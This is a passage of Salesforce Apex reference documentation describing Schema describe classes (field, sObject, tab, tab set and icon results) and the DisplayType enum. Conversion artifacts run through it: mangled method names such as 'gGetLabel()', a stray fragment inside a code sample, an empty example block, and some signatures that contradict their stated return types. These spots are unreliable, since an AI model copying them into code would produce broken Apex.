Returns the field name used in Apex.

getPicklistValues()
Returns a list of PicklistEntry objects. A runtime error is returned if the field is not a picklist.

getPrecision()
For fields of type Double, returns the maximum number of digits that can be stored, including all numbers to the left and to the right of the decimal point (but excluding the decimal point character).

getReferenceTargetField()
Returns the name of the custom field on the parent standard or custom object whose values are matched against the values of the child external object’s indirect lookup relationship field. The match is done to determine which records are related to each other.

getReferenceTo()
Returns a list of Schema.sObjectType objects for the parent objects of this field. If the isNamePointing method returns true, there is more than one entry in the list, otherwise there is only one.

getRelationshipName()
Returns the name of the relationship.

getRelationshipOrder()
Returns 1 if the field is a child, 0 otherwise.

getScale()
For fields of type Double, returns the number of digits to the right of the decimal point. Any extra digits to the right of the decimal point are truncated.

getSOAPType()
Returns one of the SoapType enum values, depending on the type of field.

getSObjectField()
Returns the token for this field.

getType()
Returns one of the DisplayType enum values, depending on the type of field.

isAccessible()
Returns true if the current user can see this field, false otherwise.

isAutoNumber()
Returns true if the field is an Auto Number field, false otherwise.

isCalculated()
Returns true if the field is a custom formula field, false otherwise. Note that custom formula fields are always read-only.

isCascadeDelete()
Returns true if the child object is deleted when the parent object is deleted, false otherwise.

isCaseSensitive()
Returns true if the field is case sensitive, false otherwise.

isCreateable()
Returns true if the field can be created by the current user, false otherwise.
isCustom()
Returns **true** if the field is a custom field, **false** if it is a standard field, such as Name.

isDefaultedOnCreate()
Returns **true** if the field receives a default value when created, **false** otherwise.

isDependentPicklist()
Returns **true** if the picklist is a dependent picklist, **false** otherwise.

isDeprecatedAndHidden()
Reserved for future use.

isExternalID()
Returns **true** if the field is used as an external ID, **false** otherwise.

isFilterable()
Returns **true** if the field can be used as part of the filter criteria of a **WHERE** statement, **false** otherwise.

isGroupable()
Returns **true** if the field can be included in the **GROUP BY** clause of a SOQL query, **false** otherwise. This method is only available for Apex classes and triggers saved using API version 18.0 and higher.

isHtmlFormatted()
Returns **true** if the field has been formatted for HTML and should be encoded for display in HTML, **false** otherwise. One example of a field that returns **true** for this method is a hyperlink custom formula field. Another example is a custom formula field that has an **IMAGE** text function.

isIdLookup()
Returns **true** if the field can be used to specify a record in an **upsert** method, **false** otherwise.

isNameField()
Returns **true** if the field is a name field, **false** otherwise.

isNamePointing()
Returns **true** if the field can have multiple types of objects as parents. For example, a task can have both the **Contact/Lead** **ID** (**WhoId**) field and the **Opportunity/Account** **ID** (**WhatId**) field return **true** for this method, because either of those objects can be the parent of a particular task record. This method returns **false** otherwise.

isNillable()
Returns **true** if the field is nillable, **false** otherwise. A nillable field can have empty content. A non-nillable field must have a value for the object to be created or saved.

isPermissionable()
Returns **true** if field permissions can be specified for the field, **false** otherwise.

isRestrictedDelete()
Returns **true** if the parent object can't be deleted because it is referenced by a child object, **false** otherwise.

isRestrictedPicklist()
Returns **true** if the field is a restricted picklist, **false** otherwise

isSortable()
Returns **true** if a query can sort on the field, **false** otherwise.

isUnique()
Returns **true** if the value for the field must be unique, **false** otherwise.
isUpdateable()
Returns true if the field can be edited by the current user, or child records in a master-detail relationship field on a custom object can be reparented to different parent records; false otherwise.

isWriteRequiresMasterRead()
Returns true if writing to the detail object requires read sharing instead of read/write sharing of the parent.

getByteLength()
For variable-length fields (including binary fields), returns the maximum size of the field, in bytes.

Signature
public Integer getByteLength()

Return Value
Type: Integer

getCalculatedFormula()
Returns the formula specified for this field.

Signature
public String getCalculatedFormula()

Return Value
Type: String

getController()
Returns the token of the controlling field.

Signature
public Schema.sObjectField getController()

Return Value
Type: Schema.sObjectField

getDefaultValue()
Returns the default value for this field.

Signature
public Object getDefaultValue()
Return Value
Type: Object

`getDefaultValueFormula()`
Returns the default value specified for this field if a formula is not used.

Signature
```
public String getDefaultValueFormula()
```

Return Value
Type: String

`getDigits()`
Returns the maximum number of digits specified for the field. This method is only valid with Integer fields.

Signature
```
public Integer getDigits()
```

Return Value
Type: Integer

`getInlineHelpText()`
Returns the content of the field-level help.

Signature
```
public String getInlineHelpText()
```

Return Value
Type: String

Usage
For more information, see “Define Field-Level Help” in the Salesforce online help.

`getLabel()`
Returns the text label that is displayed next to the field in the Salesforce user interface. This label can be localized.

Signature
```
public String getLabel()
```

1733
Return Value
Type: String

Usage
Note: For the Type field on standard objects, `getLabel()` returns a label different from the default label. It returns a label of the form `Object Type`, where `Object` is the standard object label. For example, for the Type field on Account, `getLabel()` returns `Account Type` instead of the default label `Type`. If the Type label is renamed, `getLabel()` returns the new label. You can check or change the labels of all standard object fields from Setup by entering `Rename Tabs and Labels` in the Quick Find box, then selecting `Rename Tabs and Labels`.

`getLength()`
For string fields, returns the maximum size of the field in Unicode characters (not bytes).

Signature
`public Integer getLength()`

Return Value
Type: Integer

`getLocalName()`
Returns the name of the field, similar to the `getName()` method. However, if the field is part of the current namespace, the namespace portion of the name is omitted.

Signature
`public String getLocalName()`

Return Value
Type: String

`getName()`
Returns the field name used in Apex.

Signature
`public String getName()`

Return Value
Type: String
**getPicklistValues()**
Returns a list of PicklistEntry objects. A runtime error is returned if the field is not a picklist.

**Signature**
```
public List<Schema.PicklistEntry> getPicklistValues()
```

**Return Value**
Type: `List<Schema.PicklistEntry>`

**getPrecision()**
For fields of type Double, returns the maximum number of digits that can be stored, including all numbers to the left and to the right of the decimal point (but excluding the decimal point character).

**Signature**
```
public Integer getPrecision()
```

**Return Value**
Type: `Integer`

**getReferenceTargetField()**
Returns the name of the custom field on the parent standard or custom object whose values are matched against the values of the child external object’s indirect lookup relationship field. The match is done to determine which records are related to each other.

**Signature**
```
public String getReferenceTargetField()
```

**Return Value**
Type: `String`

**Usage**
For information about indirect lookup relationships, see “Indirect Lookup Relationship Fields on External Objects” in the Salesforce Help.

**getReferenceTo()**
Returns a list of Schema.sObjectType objects for the parent objects of this field. If the `isNamePointing` method returns `true`, there is more than one entry in the list, otherwise there is only one.

**Signature**
```
public List <Schema.sObjectType> getReferenceTo()
```
Return Value
Type: List<Schema.sObjectType>

**getRelationshipName()**
Returns the name of the relationship.

**Signature**
public String getRelationshipName()

Return Value
Type: String

**Usage**
For more information about relationships and relationship names, see Understanding Relationship Names in the Force.com SOQL and SOSL Reference.

**getRelationshipOrder()**
Returns 1 if the field is a child, 0 otherwise.

**Signature**
public Integer getRelationshipOrder()

Return Value
Type: Integer

**Usage**
For more information about relationships and relationship names, see Understanding Relationship Names in the Force.com SOQL and SOSL Reference.

**getScale()**
For fields of type Double, returns the number of digits to the right of the decimal point. Any extra digits to the right of the decimal point are truncated.

**Signature**
public Integer getScale()

Return Value
Type: Integer
Usage
This method returns a fault response if the number has too many digits to the left of the decimal point.

**getSOAPType()**
Returns one of the SoapType enum values, depending on the type of field.

**Signature**
```
public Schema.SOAPType getSOAPType()
```

**Return Value**
Type: Schema.SOAPType

**getSObjectField()**
Returns the token for this field.

**Signature**
```
public Schema.sObjectField getSObjectField()
```

**Return Value**
Type: Schema.SObjectField

**getType()**
Returns one of the DisplayType enum values, depending on the type of field.

**Signature**
```
public Schema.DisplayType getType()
```

**Return Value**
Type: Schema.DisplayType

**isAccessible()**
Returns true if the current user can see this field, false otherwise.

**Signature**
```
public Boolean isAccessible()
```

**Return Value**
Type: Boolean
isAutoNumber() Returns true if the field is an Auto Number field, false otherwise.

Signature
public Boolean isAutoNumber()

Return Value
Type: Boolean

Usage
Analogous to a SQL IDENTITY type, Auto Number fields are read-only, non-createable text fields with a maximum length of 30 characters. Auto Number fields are used to provide a unique ID that is independent of the internal object ID (such as a purchase order number or invoice number). Auto Number fields are configured entirely in the Salesforce user interface.

isCalculated() Returns true if the field is a custom formula field, false otherwise. Note that custom formula fields are always read-only.

Signature
public Boolean isCalculated()

Return Value
Type: Boolean

isCascadeDelete() Returns true if the child object is deleted when the parent object is deleted, false otherwise.

Signature
public Boolean isCascadeDelete()

Return Value
Type: Boolean

isCaseSensitive() Returns true if the field is case sensitive, false otherwise.

Signature
public Boolean isCaseSensitive()
Return Value
Type: Boolean

isCreateable()
Returns true if the field can be created by the current user, false otherwise.

Signature
public Boolean isCreateable()

Return Value
Type: Boolean

isCustom()
Returns true if the field is a custom field, false if it is a standard field, such as Name.

Signature
public Boolean isCustom()

Return Value
Type: Boolean

isDefaultedOnCreate()
Returns true if the field receives a default value when created, false otherwise.

Signature
public Boolean isDefaultedOnCreate()

Return Value
Type: Boolean

Usage
If this method returns true, Salesforce implicitly assigns a value for this field when the object is created, even if a value for this field is not passed in on the create call. For example, in the Opportunity object, the Probability field has this attribute because its value is derived from the Stage field. Similarly, the Owner has this attribute on most objects because its value is derived from the current user (if the Owner field is not specified).

isDependentPicklist()
Returns true if the picklist is a dependent picklist, false otherwise.
**isDependentPicklist()**
Returns `true` if the field is used in a dependent picklist, `false` otherwise.

**Signature**
```java
public Boolean isDependentPicklist()
```
**Return Value**
Type: `Boolean`

**isDeprecatedAndHidden()**
Reserved for future use.

**Signature**
```java
public Boolean isDeprecatedAndHidden()
```
**Return Value**
Type: `Boolean`

**isExternalID()**
Returns `true` if the field is used as an external ID, `false` otherwise.

**Signature**
```java
public Boolean isExternalID()
```
**Return Value**
Type: `Boolean`

**isFilterable()**
Returns `true` if the field can be used as part of the filter criteria of a `WHERE` statement, `false` otherwise.

**Signature**
```java
public Boolean isFilterable()
```
**Return Value**
Type: `Boolean`

**isGroupable()**
Returns `true` if the field can be included in the `GROUP BY` clause of a SOQL query, `false` otherwise. This method is only available for Apex classes and triggers saved using API version 18.0 and higher.
**isGroupable()**

**Signature**

```java
public Boolean isGroupable()
```

**Return Value**

Type: Boolean

**isHtmlFormatted()**

**Returns** true if the field has been formatted for HTML and should be encoded for display in HTML, false otherwise. One example of a field that returns true for this method is a hyperlink custom formula field. Another example is a custom formula field that has an IMAGE text function.

**Signature**

```java
public Boolean isHtmlFormatted()
```

**Return Value**

Type: Boolean

**isIdLookup()**

**Returns** true if the field can be used to specify a record in an upsert method, false otherwise.

**Signature**

```java
public Boolean isIdLookup()
```

**Return Value**

Type: Boolean

**isNameField()**

**Returns** true if the field is a name field, false otherwise.

**Signature**

```java
public Boolean isNameField()
```

**Return Value**

Type: Boolean

**Usage**

This method is used to identify the name field for standard objects (such as AccountName for an Account object) and custom objects. Objects can only have one name field, except where the FirstName and LastName fields are used instead (such as on the Contact object).
If a compound name is present, for example, the Name field on a person account, `isNameField` is set to `true` for that record.

`isNamePointing()`

Returns `true` if the field can have multiple types of objects as parents. For example, a task can have both the Contact/Lead ID (WhoId) field and the Opportunity/Account ID (WhatId) field return `true` for this method, because either of those objects can be the parent of a particular task record. This method returns `false` otherwise.

**Signature**

```java
public Boolean isNamePointing()
```

**Return Value**

Type: `Boolean`

`isNillable()`

Returns `true` if the field is nillable, `false` otherwise. A nillable field can have empty content. A non-nillable field must have a value for the object to be created or saved.

**Signature**

```java
public Boolean isNillable()
```

**Return Value**

Type: `Boolean`

`isPermissionable()`

Returns `true` if field permissions can be specified for the field, `false` otherwise.

**Signature**

```java
public Boolean isPermissionable()
```

**Return Value**

Type: `Boolean`

`isRestrictedDelete()`

Returns `true` if the parent object can’t be deleted because it is referenced by a child object, `false` otherwise.

**Signature**

```java
public Boolean isRestrictedDelete()
```
Return Value
Type: Boolean

isRestrictedPicklist()
Returns true if the field is a restricted picklist, false otherwise

Signature
public Boolean isRestrictedPicklist()

Return Value
Type: Boolean

isSortable()
Returns true if a query can sort on the field, false otherwise

Signature
public Boolean isSortable()

Return Value
Type: Boolean

isUnique()
Returns true if the value for the field must be unique, false otherwise

Signature
public Boolean isUnique()

Return Value
Type: Boolean

isUpdateable()
Returns true if the field can be edited by the current user, or child records in a master-detail relationship field on a custom object can be reparented to different parent records; false otherwise.

Signature
public Boolean isUpdateable()
Return Value

Type: Boolean

**isWriteRequiresMasterRead()**

Returns `true` if writing to the detail object requires read sharing instead of read/write sharing of the parent.

**Signature**

```java
public Boolean isWriteRequiresMasterRead()
```

**Namespace**

`Schema`

**DescribeIconResult Class**

Contains icon metadata information for a tab.

**Usage**

The `getIcons` method of the `Schema.DescribeTabResult` class returns a list of `Schema.DescribeIconResult` objects that describe colors used in a tab.

The methods in the `Schema.DescribeIconResult` class can be called using their property counterparts. For each method starting with `get`, you can omit the `get` prefix and the ending parentheses () to call the property counterpart. For example, `iconResultObj.url` is equivalent to `iconResultObj.getUrl()`.

**Example**

This sample shows how to get the icon information in the Sales app for the first tab's first icon.

```java
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();

// Iterate through each tab set
for(Schema.DescribeTabSetResult tsr : tabSetDesc) {
  // Get tab info for the Sales app
  if (tsr.getLabel() == 'Sales') {
    // Get icon information for the first tab
    List<Schema.DescribeIconResult> iconDesc = tsr.getTabs()[0].getIcons();
    // Display the icon height and width of the first icon
    System.debug('Height: ' + iconDesc[0].getHeight());
    System.debug('Width: ' + iconDesc[0].getWidth());
  }
}
```
DescribeIconResult Methods

The following are methods for DescribeIconResult. All are instance methods.

IN THIS SECTION:
- getContentType()
- getHeight()
- getTheme()
- getUrl()
- getWidth()

getContentType()

Returns the tab icon’s content type, such as image/png.

**Signature**

```java
public String getContentType()
```

**Return Value**

Type: String

getHeight()

Returns the tab icon’s height in pixels.

**Signature**

```java
public Integer getHeight()
```

**Return Value**

Type: Integer

Usage

- **Note**: If the icon content type is SVG, the icon won’t have a size and its height is zero.
**getTheme()**
Returns the tab’s icon theme.

**Signature**
```
public String getTheme()
```

**Return Value**
Type: String
Possible theme values include theme3, theme4, and custom.
- theme3 is the Salesforce theme introduced during Spring ’10.
- theme4 is the Salesforce theme introduced in Winter ’14 for the mobile touchscreen version of Salesforce.
- custom is the theme name associated with a custom icon.

**getUrl()**
Returns the tab’s icon fully qualified URL.

**Signature**
```
public String getUrl()
```

**Return Value**
Type: String

**getWidth()**
Returns the tab’s icon width in pixels.

**Signature**
```
public Integer getWidth()
```

**Return Value**
Type: Integer

**Usage**

**Note:** If the icon content type is SVG, the icon won’t have a size and its width is zero.

**DescribeSObjectResult Class**
Contains methods for describing sObjects.
Namespace

Schema

Usage

None of the methods take an argument.

DescribeSObjectResult Methods

The following are methods for DescribeSObjectResult. All are instance methods.

IN THIS SECTION:

fields()
Returns a special data type that should not be used by itself. Instead, fields should always be followed by either a field member variable name or the `getMap` method.

fieldSets()
Returns a special data type that should not be used by itself. Instead, fieldSets should always be followed by either a field set name or the `getMap` method.

getChildRelationships()
Returns a list of child relationships, which are the names of the sObjects that have a foreign key to the sObject being described.

getKeyPrefix()
Returns the three-character prefix code for the object. Record IDs are prefixed with three-character codes that specify the type of the object (for example, accounts have a prefix of 001 and opportunities have a prefix of 006).

getLabel()
Returns the object's label, which may or may not match the object name.

getLabelPlural()
Returns the object's plural label, which may or may not match the object name.

getLocalName()
Returns the name of the object, similar to the `getName` method. However, if the object is part of the current namespace, the namespace portion of the name is omitted.

getName()
Returns the name of the object.

getRecordTypeInfos()
Returns a list of the record types supported by this object. The current user is not required to have access to a record type to see it in this list.

getRecordTypeInfosById()
Returns a map that matches record IDs to their associated record types. The current user is not required to have access to a record type to see it in this map.

getRecordTypeInfosByName()
Returns a map that matches record labels to their associated record type. The current user is not required to have access to a record type to see it in this map.
**getDescription**
Returns the Schema.SObjectType object for the sObject. You can use this to create a similar sObject.

**isAccessible()**
Returns `true` if the current user can see this field, `false` otherwise.

**isCreateable()**
Returns `true` if the object can be created by the current user, `false` otherwise.

**isCustom()**
Returns `true` if the object is a custom object, `false` if it is a standard object.

**isCustomSetting()**
Returns `true` if the object is a custom setting, `false` otherwise.

**isDeletable()**
Returns `true` if the object can be deleted by the current user, `false` otherwise.

**isDeprecatedAndHidden()**
Reserved for future use.

**isFeedEnabled()**
Returns `true` if Chatter feeds are enabled for the object, `false` otherwise. This method is only available for Apex classes and triggers saved using SalesforceAPI version 19.0 and later.

**isMergeable()**
Returns `true` if the object can be merged with other objects of its type by the current user, `false` otherwise. `true` is returned for leads, contacts, and accounts.

**isQueryable()**
Returns `true` if the object can be queried by the current user, `false` otherwise.

**isSearchable()**
Returns `true` if the object can be searched by the current user, `false` otherwise.

**isUndeletable()**
Returns `true` if the object cannot be undeleted by the current user, `false` otherwise.

**isUpdateable()**
Returns `true` if the object can be updated by the current user, `false` otherwise.

**fields()**
Returns a special data type that should not be used by itself. Instead, `fields` should always be followed by either a field member variable name or the `getMap` method.

**Signature**
```java
public Schema.SObjectTypeFields fields()
```

**Return Value**
Type: Schema.SObjectTypeFields
The return value is a special data type that should not be used by itself.
Usage

Note: When you describe sObjects and their fields from within an Apex class, custom fields of new field types are returned regardless of the API version that the class is saved in. If a field type, such as the geolocation field type, is available only in a recent API version, components of a geolocation field are returned even if the class is saved in an earlier API version.

For more information, see Understanding Apex Describe Information.

Example

```java
```

**fieldSets()**

Returns a special data type that should not be used by itself. Instead, `fieldSets` should always be followed by either a field set name or the `getMap` method.

**Signature**

```java
public Schema.SObjectTypeFields fieldSets()
```

**Return Value**

Type: Schema.SObjectTypeFields

The return value is a special data type that should not be used by itself.

**Example**

```java
Schema.DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, Schema.FieldSet> FsMap = d.fieldSets.getMap();
```

**getChildRelationships()**

Returns a list of child relationships, which are the names of the sObjects that have a foreign key to the sObject being described.

**Signature**

```java
public Schema.ChildRelationship getChildRelationships()
```

**Return Value**

Type: List<Schema.ChildRelationship>

**Example**

For example, the Account object includes Contacts and Opportunities as child relationships.
getKeyPrefix()  
Returns the three-character prefix code for the object. Record IDs are prefixed with three-character codes that specify the type of the object (for example, accounts have a prefix of 001 and opportunities have a prefix of 006).

Signature
public String getKeyPrefix()

Return Value
Type: String

Usage
The DescribeSobjectResult object returns a value for objects that have a stable prefix. For object types that do not have a stable or predictable prefix, this field is blank. Client applications that rely on these codes can use this way of determining object type to ensure forward compatibility.

getLabel()  
Returns the object's label, which may or may not match the object name.

Signature
public String getLabel()

Return Value
Type: String

Usage
The object's label might not always match the object name. For example, an organization in the medical industry might change the label for Account to Patient. This label is then used in the Salesforce user interface. See the Salesforce online help for more information.

getLabelPlural()  
Returns the object's plural label, which may or may not match the object name.

Signature
public String getLabelPlural()

Return Value
Type: String
Usage
The object’s plural label might not always match the object name. For example, an organization in the medical industry might change the plural label for Account to Patients. This label is then used in the Salesforce user interface. See the Salesforce online help for more information.

getLocalName()
Returns the name of the object, similar to the getName method. However, if the object is part of the current namespace, the namespace portion of the name is omitted.

Signature
public String getLocalName()

Return Value
Type: String

getName()
Returns the name of the object.

Signature
public String getName()

Return Value
Type: String

getRecordTypeInfos()
Returns a list of the record types supported by this object. The current user is not required to have access to a record type to see it in this list.

Signature
public List<Schema.RecordTypeInfo> getRecordTypeInfos()

Return Value
Type: List<Schema.RecordTypeInfo>

getRecordTypeInfosById()
Returns a map that matches record IDs to their associated record types. The current user is not required to have access to a record type to see it in this map.
**getRecordTypeInfosById()**

Signature

```java
public Schema.RecordTypeInfo getRecordTypeInfosById()
```

Return Value

Type: `Map<ID, Schema.RecordTypeInfo>`

**getRecordTypeInfosByName()**

Returns a map that matches record labels to their associated record type. The current user is not required to have access to a record type to see it in this map.

Signature

```java
public Schema.RecordTypeInfo getRecordTypeInfosByName()
```

Return Value

Type: `Map<String, Schema.RecordTypeInfo>`

**getSobjectType()**

Returns the `Schema.SObjectType` object for the sObject. You can use this to create a similar sObject.

Signature

```java
public Schema.SObjectType getSobjectType()
```

Return Value

Type: `Schema.SObjectType`

**isAccessible()**

Returns `true` if the current user can see this field, `false` otherwise.

Signature

```java
public Boolean isAccessible()
```

Return Value

Type: `Boolean`

**isCreateable()**

Returns `true` if the object can be created by the current user, `false` otherwise.
Signature
public Boolean isCreateable()

Return Value
Type: Boolean

isCustom()
Returns true if the object is a custom object, false if it is a standard object.

Signature
public Boolean isCustom()

Return Value
Type: Boolean

isCustomSetting()
Returns true if the object is a custom setting, false otherwise.

Signature
public Boolean isCustomSetting()

Return Value
Type: Boolean

isDeletable()
Returns true if the object can be deleted by the current user, false otherwise.

Signature
public Boolean isDeletable()

Return Value
Type: Boolean

isDeprecatedAndHidden()
Reserved for future use.

Signature
public Boolean isDeprecatedAndHidden()
Return Value
Type: Boolean

isFeedEnabled()
Returns true if Chatter feeds are enabled for the object, false otherwise. This method is only available for Apex classes and triggers saved using SalesforceAPI version 19.0 and later.

Signature
public Boolean isFeedEnabled()

Return Value
Type: Boolean

isMergeable()
Returns true if the object can be merged with other objects of its type by the current user, false otherwise. true is returned for leads, contacts, and accounts.

Signature
public Boolean isMergeable()

Return Value
Type: Boolean

isQueryable()
Returns true if the object can be queried by the current user, false otherwise.

Signature
public Boolean isQueryable()

Return Value
Type: Boolean

isSearchable()
Returns true if the object can be searched by the current user, false otherwise.

Signature
public Boolean isSearchable()
Return Value
Type: Boolean

**isUndeletable()**
Returns **true** if the object cannot be undeleted by the current user, **false** otherwise.

Signature
```java
public Boolean isUndeletable()
```

Return Value
Type: Boolean

**isUpdateable()**
Returns **true** if the object can be updated by the current user, **false** otherwise.

Signature
```java
public Boolean isUpdateable()
```

**DescribeTabResult Class**
Contains tab metadata information for a tab in a standard or custom app available in the Salesforce user interface.

**Namespace**
`Schema`

**Usage**
The `getTabs` method of the `Schema.DescribeTabSetResult` returns a list of `Schema.DescribeTabResult` objects that describe the tabs of one app.

The methods in the `Schema.DescribeTabResult` class can be called using their property counterparts. For each method starting with `get`, you can omit the `get` prefix and the ending parentheses () to call the property counterpart. For example, `tabResultObj.label` is equivalent to `tabResultObj.getLabel()`. Similarly, for each method starting with `is`, omit the `is` prefix and the ending parentheses (). For example, `tabResultObj.isCustom` is equivalent to `tabResultObj.custom`.

**DescribeTabResult Methods**
The following are methods for `DescribeTabResult`. All are instance methods.
IN THIS SECTION:

getColors()
Returns a list of color metadata information for all colors associated with this tab. Each color is associated with a theme and context.

getIconUrl()
Returns the URL for the main 32 x 32-pixel icon for a tab. This icon corresponds to the current theme (theme 3) and appears next to the heading at the top of most pages.

getIcons()
Returns a list of icon metadata information for all icons associated with this tab. Each icon is associated with a theme and context.

gGetLabel()
Returns the display label of this tab.

gGetMiniIconUrl()
Returns the URL for the 16 x 16-pixel icon that represents a tab. This icon corresponds to the current theme (theme 3) and appears in related lists and other locations.

gGetObjectName()
Returns the name of the sObject that is primarily displayed on this tab (for tabs that display a particular sObject).

gGetUrl()
Returns a fully qualified URL for viewing this tab.

gIsCustom()
Returns true if this is a custom tab, or false if this is a standard tab.

getColors()
Returns a list of color metadata information for all colors associated with this tab. Each color is associated with a theme and context.

**Signature**

```java
public List<Schema.DescribeColorResult> getColors()
```

**Return Value**

Type: List<Schema.DescribeColorResult>

getIconUrl()
Returns the URL for the main 32 x 32-pixel icon for a tab. This icon corresponds to the current theme (theme 3) and appears next to the heading at the top of most pages.

**Signature**

```java
public String getIconUrl()
```

**Return Value**

Type: String
**getIcons()**

Returns a list of icon metadata information for all icons associated with this tab. Each icon is associated with a theme and context.

**Signature**

```java
public List<Schema.DescribeIconResult> getIcons()
```

**Return Value**

Type: `List<Schema.DescribeIconResult>`

**getLabel()**

Returns the display label of this tab.

**Signature**

```java
public String getLabel()
```

**Return Value**

Type: `String`

**getMiniIconUrl()**

Returns the URL for the 16 x 16-pixel icon that represents a tab. This icon corresponds to the current theme (theme3) and appears in related lists and other locations.

**Signature**

```java
public String getMiniIconUrl()
```

**Return Value**

Type: `String`

**getSobjectName()**

Returns the name of the sObject that is primarily displayed on this tab (for tabs that display a particular SObject).

**Signature**

```java
public String getSobjectName()
```

**Return Value**

Type: `String`
**getUrl()**
Returns a fully qualified URL for viewing this tab.

**Signature**
```java
public String getUrl()
```

**Return Value**
Type: String

**isCustom()**
Returns `true` if this is a custom tab, or `false` if this is a standard tab.

**Signature**
```java
public Boolean isCustom()
```

**Return Value**
Type: Boolean

**DescribeTabSetResult Class**
Contains metadata information about a standard or custom app available in the Salesforce user interface.

**Namespace**
Schema

**Usage**
The `Schema.describeTabs` method returns a list of `Schema.DescribeTabSetResult` objects that describe standard and custom apps.

The methods in the `Schema.DescribeTabSetResult` class can be called using their property counterparts. For each method starting with `get`, you can omit the `get` prefix and the ending parentheses () to call the property counterpart. For example, `tabSetResultObj.label` is equivalent to `tabSetResultObj.getLabel()`. Similarly, for each method starting with `is`, omit the `is` prefix and the ending parentheses (). For example, `tabSetResultObj.isSelected` is equivalent to `tabSetResultObj.selected`.

**Example**
This example shows how to call the `Schema.describeTabs` method to get describe information for all available apps. This example iterates through each describe result and gets more metadata information for the Sales app.

```java
// App we're interested to get more info about
String appName = 'Sales';
```
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();

// Iterate through each tab set describe for each app and display the info
for(Schema.DescribeTabSetResult tsr : tabSetDesc) {
    // Get more information for the Sales app
    if (tsr.getLabel() == appName) {
        // Find out if the app is selected
        if (tsr.isSelected()) {
            System.debug('The ' + appName + ' app is selected. ');
        }
        // Get the app's Logo URL and namespace
        String logo = tsr.getLogoUrl();
        System.debug('Logo URL: ' + logo);
        String ns = tsr.getNamespace();
        if (ns == '') {
            System.debug('The ' + appName + ' app has no namespace defined.');
        } else {
            System.debug('Namespace: ' + ns);
        }
        // Get the number of tabs
        System.debug('The ' + appName + ' app has ' + tsr.getTabs().size() + ' tabs.');</n    }
}

// Example debug statement output
// DEBUG|The Sales app is selected.
// DEBUG|Logo URL: https://na1.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|The Sales app has no namespace defined.
// DEBUG|The Sales app has 14 tabs.

DescribeTabSetResult Methods

The following are methods for DescribeTabSetResult. All are instance methods.

IN THIS SECTION:

getDescription()
Returns the display description for the standard or custom app.

getLabel()
Returns the display label for the standard or custom app.

getLogoUrl()
Returns a fully qualified URL to the logo image associated with the standard or custom app.

getNamespace()
Returns the developer namespace prefix of a Force.comAppExchange managed package.

getTabs()
Returns metadata information about the standard or custom app's displayed tabs.

isSelected()
Returns true if this standard or custom app is the user's currently selected app. Otherwise, returns false.
**getDescription()**
Returns the display description for the standard or custom app.

**Signature**

```
public String getDescription()
```

**Return Value**
Type: String

**getLabel()**
Returns the display label for the standard or custom app.

**Signature**

```
public String getLabel()
```

**Return Value**
Type: String

**Usage**
The display label changes when tabs are renamed in the Salesforce user interface. See the Salesforce online help for more information.

**getLogoUrl()**
Returns a fully qualified URL to the logo image associated with the standard or custom app.

**Signature**

```
public String getLogoUrl()
```

**Return Value**
Type: String

**getNamespace()**
Returns the developer namespace prefix of a Force.comAppExchange managed package.

**Signature**

```
public String getNamespace()
```

**Return Value**
Type: String
Usage
This namespace prefix corresponds to the namespace prefix of the Developer Edition organization that was enabled to allow publishing a managed package. This method applies to a custom app containing a set of tabs and installed as part of a managed package.

**getTabs()**
Returns metadata information about the standard or custom app's displayed tabs.

**Signature**

```java
public List<Schema.DescribeTabResult> getTabs()
```

**Return Value**

Type: `List<Schema.DescribeTabResult>`

**isSelected()**
Returns `true` if this standard or custom app is the user's currently selected app. Otherwise, returns `false`.

**Signature**

```java
public Boolean isSelected()
```

**Return Value**

Type: `Boolean`

### DisplayType Enum

A `Schema.DisplayType` enum value is returned by the field describe result’s `getType` method.

### Namespace

**Schema**

<table>
<thead>
<tr>
<th>Type Field Value</th>
<th>What the Field Object Contains</th>
</tr>
</thead>
<tbody>
<tr>
<td>anytype</td>
<td>Any value of the following types: <code>String</code>, <code>Picklist</code>, <code>Boolean</code>, <code>Integer</code>, <code>Double</code>, <code>Percent</code>, <code>ID</code>, <code>Date</code>, <code>DateTime</code>, <code>URL</code>, or <code>Email</code>.</td>
</tr>
<tr>
<td>base64</td>
<td>Base64-encoded arbitrary binary data (of type <code>base64Binary</code>)</td>
</tr>
<tr>
<td>Boolean</td>
<td>Boolean (<code>true</code> or <code>false</code>) values</td>
</tr>
<tr>
<td>Combobox</td>
<td>Comboboxes, which provide a set of enumerated values and allow the user to specify a value not in the list</td>
</tr>
<tr>
<td>Currency</td>
<td>Currency values</td>
</tr>
<tr>
<td>DataCategoryGroupReference</td>
<td>Reference to a data category group or a category unique name.</td>
</tr>
<tr>
<td>Type Field Value</td>
<td>What the Field Object Contains</td>
</tr>
<tr>
<td>------------------</td>
<td>--------------------------------</td>

<td>DateTime</td>
<td>DateTime values</td>
</tr>
<tr>
<td>Double</td>
<td>Double values</td>
</tr>
<tr>
<td>Email</td>
<td>Email addresses</td>
</tr>
<tr>
<td>EncryptedString</td>
<td>Encrypted string</td>
</tr>
<tr>
<td>ID</td>
<td>Primary key field for an object</td>
</tr>
<tr>
<td>Integer</td>
<td>Integer values</td>
</tr>
<tr>
<td>MultiPicklist</td>
<td>Multi-select picklists, which provide a set of enumerated values from which multiple values can be selected</td>
</tr>
<tr>
<td>Percent</td>
<td>Percent values</td>
</tr>
<tr>
<td>Phone</td>
<td>Phone numbers. Values can include alphabetic characters. Client applications are responsible for phone number formatting.</td>
</tr>
<tr>
<td>Picklist</td>
<td>Single-select picklists, which provide a set of enumerated values from which only one value can be selected</td>
</tr>
<tr>
<td>Reference</td>
<td>Cross-references to a different object, analogous to a foreign key field</td>
</tr>
<tr>
<td>String</td>
<td>String values</td>
</tr>
<tr>
<td>TextArea</td>
<td>String values that are displayed as multiline text fields</td>
</tr>
<tr>
<td>Time</td>
<td>Time values</td>
</tr>
<tr>
<td>URL</td>
<td>URL values that are displayed as hyperlinks</td>
</tr>
</tbody>
</table>

**Usage**

For more information, see Field Types in the Object Reference for Salesforce and Force.com. For more information about the methods shared by all enums, see Enum Methods.

**FieldSet Class**

Contains methods for discovering and retrieving the details of field sets created on sObjects.

**Namespace**

Schema
Usage

Use the methods in the Schema.FieldSet class to discover the fields contained within a field set, and get details about the field set itself, such as the name, namespace, label, and so on. The following example shows how to get a collection of field set describe result objects for an sObject. The key of the returned Map is the field set name, and the value is the corresponding field set describe result.

```java
